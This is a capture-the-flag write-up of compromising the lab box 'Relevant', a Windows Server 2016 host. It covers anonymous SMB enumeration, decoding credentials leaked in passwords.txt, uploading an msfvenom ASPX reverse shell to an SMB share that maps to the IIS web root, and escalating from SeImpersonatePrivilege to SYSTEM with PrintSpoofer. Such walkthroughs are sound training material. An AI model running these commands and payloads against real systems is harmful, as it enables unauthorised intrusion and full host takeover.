Relevant

Objective

Windows Server 2016 box — get the user and root flags.

Open ports:

• 80/tcp — Microsoft IIS httpd 10.0
• 135/tcp — Microsoft Windows RPC
• 139/tcp — netbios-ssn
• 445/tcp — microsoft-ds (Windows Server 2016 Standard Evaluation, build 14393)
• 3389/tcp — RDP
• 49663/tcp, 49666/tcp, 49667/tcp — high dynamic RPC/HTTP ports

1. Initial Recon

Ran a full service scan:

nmap 10.65.133.232 -sV -sC

Notable findings:

• IIS 10.0 default site on port 80
• SMB with message_signing: disabled and account_used: guest in smb-security-mode, suggesting guest/anonymous SMB access might work
• RDP open with NTLM info revealing hostname "Relevant" and Windows Server 2016 (build 14393)

A full port sweep (nmap -p- -T4) later revealed three additional high ports not shown by default: 49663, 49666, 49667. The latter two were generic Windows RPC endpoint mapper ports (dead ends). Port 49663 turned out to be a second IIS site instance — this became central to the exploitation path.

2. SMB Enumeration

Checked for anonymous/guest SMB share access:

smbclient -L //10.65.133.232/ -N

Found a share with an unusual name: nt4wrksv. Connecting to it anonymously revealed:

smbclient //10.65.133.232/nt4wrksv -N

passwords.txt

3. Decoding Credentials

Downloaded and read passwords.txt, which contained two Base64-encoded lines:

Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Decoded both:

echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d

Result:

• Bob — !P@$$W0rD!123
• Bill — Juw4nnaM4n420696969!$$$

4. Dead Ends (Documented for Reference)

Before finding the correct path, several reasonable avenues were tried and ruled out:

• WebDAV on ports 80 and 49663 — thoroughly checked via OPTIONS, PROPFIND, cadaver, davtest, and nmap's http-webdav-scan. No DAV support was found on either port; this was a false lead.
• C$ / ADMIN$ share access with Bob's credentials — visible in the share listing, but access was denied on connection, confirming Bob is not a local administrator.
• impacket-psexec — confirmed nt4wrksv was writable and uploaded a service binary successfully, but failed at the SVCManager step, consistent with Bob lacking admin rights.
• RDP with xfreerdp — consistently failed with a TLS-layer "Connection reset by peer" error across multiple security-mode flags. This was ultimately an attackbox/FreeRDP compatibility quirk rather than a real path, and wasn't the intended route regardless.

5. The Actual Path: SMB Share Mapped to IIS Web Root

The key insight: the nt4wrksv SMB share is the same physical folder as a subdirectory of the IIS site running on port 49663 (C:\inetpub\wwwroot\nt4wrksv). Anything uploaded via SMB to that share becomes immediately accessible — and executable, if it's a server-side script — over HTTP at:

http://10.65.133.232:49663/nt4wrksv/<filename>

This wasn't discoverable via directory brute-forcing on the web root alone, since nt4wrksv isn't a "guessable" wordlist entry — the connection had to be inferred from the fact that the SMB share and the web port shared the same underlying content.

6. Getting a Shell

Generated a Windows reverse shell payload in ASPX format:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f aspx -o shell.aspx

Uploaded it to the writable share using Bob's credentials:

smbclient //10.65.133.232/nt4wrksv -U 'Bob%!P@$$W0rD!123'
put shell.aspx

Started a listener:

nc -lvnp 4444

Triggered the payload via the correct web path:

curl http://10.65.133.232:49663/nt4wrksv/shell.aspx

Caught a reverse shell running as the IIS application pool identity.

7. Finding the User Flag

Read the user flag directly from Bob's desktop:

type C:\Users\Bob\Desktop\user.txt

8. Privilege Escalation

Checked current privileges:

whoami /priv

Result showed:

SeImpersonatePrivilege        Impersonate a client after authentication    Enabled

This is a well-known misconfiguration — a service account with SeImpersonatePrivilege enabled can be abused via token impersonation exploits (like JuicyPotato or, more reliably here, PrintSpoofer) to escalate to NT AUTHORITY\SYSTEM.

Uploaded PrintSpoofer64.exe via the same writable SMB share:

smbclient //10.65.133.232/nt4wrksv -U 'Bob%!P@$$W0rD!123'
put PrintSpoofer64.exe

Executed it from the reverse shell:

cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer64.exe -i -c cmd

This spawned a new cmd.exe process running as NT AUTHORITY\SYSTEM.

9. Root Flag

Confirmed elevated access and retrieved the final flag:

whoami
type C:\Users\Administrator\Desktop\root.txt

Key Takeaways

• An oddly-named SMB share found via guest/anonymous access is often more than a file drop point — check whether it corresponds to a web-accessible directory, especially on Windows/IIS boxes with multiple site bindings on non-standard ports.
• Don't assume WebDAV just because a port pattern looks familiar — always confirm with direct method probing (OPTIONS, PROPFIND) rather than assuming based on port number or service fingerprint alone; ruling this out took a significant amount of time here.
• Valid credentials don't imply admin rights — being able to list shares like C$/ADMIN$ is different from being able to connect to them. Always verify actual access before assuming psexec-style tools will work.
• SeImpersonatePrivilege enabled on a low-priv service account is a direct path to SYSTEM — tools like PrintSpoofer or JuicyPotato exploit this token impersonation flaw reliably on unpatched/misconfigured Windows hosts.
• A writable SMB share tied to a web root is a full read/write/execute primitive — upload, trigger via HTTP, and you have code execution without needing any other vulnerability.